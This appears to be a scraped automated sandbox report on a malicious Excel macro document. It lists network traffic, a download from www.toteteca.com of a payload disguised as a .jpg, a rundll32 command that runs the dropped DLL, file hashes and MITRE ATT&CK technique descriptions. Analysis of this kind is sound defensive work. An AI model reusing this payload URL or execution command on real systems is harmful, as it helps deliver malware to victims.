Jan 25, 2021 18:15:23.543880939 CET	53	53195	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:23.941955090 CET	57084	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:23.989905119 CET	53	57084	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:26.922650099 CET	58823	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:26.970556021 CET	53	58823	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:30.655236959 CET	57568	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:30.723555088 CET	53	57568	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:36.034636021 CET	50540	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:36.085500956 CET	53	50540	8.8.8.8	192.168.2.3
Jan 25, 2021 18:16:25.032805920 CET	54366	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:16:25.080862999 CET	53	54366	8.8.8.8	192.168.2.3
Jan 25, 2021 18:16:34.659070969 CET	53034	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:16:34.717138052 CET	53	53034	8.8.8.8	192.168.2.3
Jan 25, 2021 18:16:52.365206003 CET	57762	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:16:52.413027048 CET	53	57762	8.8.8.8	192.168.2.3
Jan 25, 2021 18:16:52.979456902 CET	55435	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:16:53.035579920 CET	53	55435	8.8.8.8	192.168.2.3
Jan 25, 2021 18:16:53.616837978 CET	50713	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:16:53.676183939 CET	53	50713	8.8.8.8	192.168.2.3
Jan 25, 2021 18:16:53.950036049 CET	56132	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:16:54.019157887 CET	53	56132	8.8.8.8	192.168.2.3
Jan 25, 2021 18:16:54.136198997 CET	58987	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:16:54.192524910 CET	53	58987	8.8.8.8	192.168.2.3
Jan 25, 2021 18:16:54.736893892 CET	56579	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:16:54.785021067 CET	53	56579	8.8.8.8	192.168.2.3
Jan 25, 2021 18:16:55.688317060 CET	60633	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:16:55.744941950 CET	53	60633	8.8.8.8	192.168.2.3
Jan 25, 2021 18:16:56.690700054 CET	61292	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:16:56.747098923 CET	53	61292	8.8.8.8	192.168.2.3
Jan 25, 2021 18:16:58.631187916 CET	63619	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:16:58.688498974 CET	53	63619	8.8.8.8	192.168.2.3
Jan 25, 2021 18:16:59.749032021 CET	64938	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:16:59.797225952 CET	53	64938	8.8.8.8	192.168.2.3
Jan 25, 2021 18:17:00.286237001 CET	61946	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:17:00.346303940 CET	53	61946	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 25, 2021 18:15:18.847089052 CET	192.168.2.3	8.8.8.8	0x56cf	Standard query (0)	www.toteteca.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 25, 2021 18:15:19.051544905 CET	8.8.8.8	192.168.2.3	0x56cf	No error (0)	www.toteteca.com	toteteca.com		CNAME (Canonical name)	IN (0x0001)
Jan 25, 2021 18:15:19.051544905 CET	8.8.8.8	192.168.2.3	0x56cf	No error (0)	toteteca.com		172.107.2.98	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.toteteca.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49717	172.107.2.98	80	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 25, 2021 18:15:19.230396032 CET	978	OUT	GET /qzkiodlofm/5555555555.jpg HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: www.toteteca.com Connection: Keep-Alive
Jan 25, 2021 18:15:19.774077892 CET	990	IN	HTTP/1.1 200 OK Date: Mon, 25 Jan 2021 17:15:18 GMT Server: Apache Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jan 25, 2021 18:15:19.805260897 CET	990	OUT	GET /qzkiodlofm/5555555555.jpg HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: www.toteteca.com Connection: Keep-Alive
Jan 25, 2021 18:15:20.318835974 CET	1089	IN	HTTP/1.1 200 OK Date: Mon, 25 Jan 2021 17:15:19 GMT Server: Apache Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 5912 Parent PID: 792

General

Start time:	18:15:12
Start date:	25/01/2021
Path:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Imagebase:	0xdf0000
File size:	27110184 bytes
MD5 hash:	5D6638F2C8F8571C593999C58866007E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: rundll32.exe PID: 6540 Parent PID: 5912

General

Start time:	18:15:19
Start date:	25/01/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer
Imagebase:	0x1260000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Analysis Report Refusal-743510550-01212021.xlsm

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Refusal-743510550-01212021.xlsm"

Indicators

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 5912 Parent PID: 792

General

Analysis Process: rundll32.exe PID: 6540 Parent PID: 5912

General

Disassembly

Code Analysis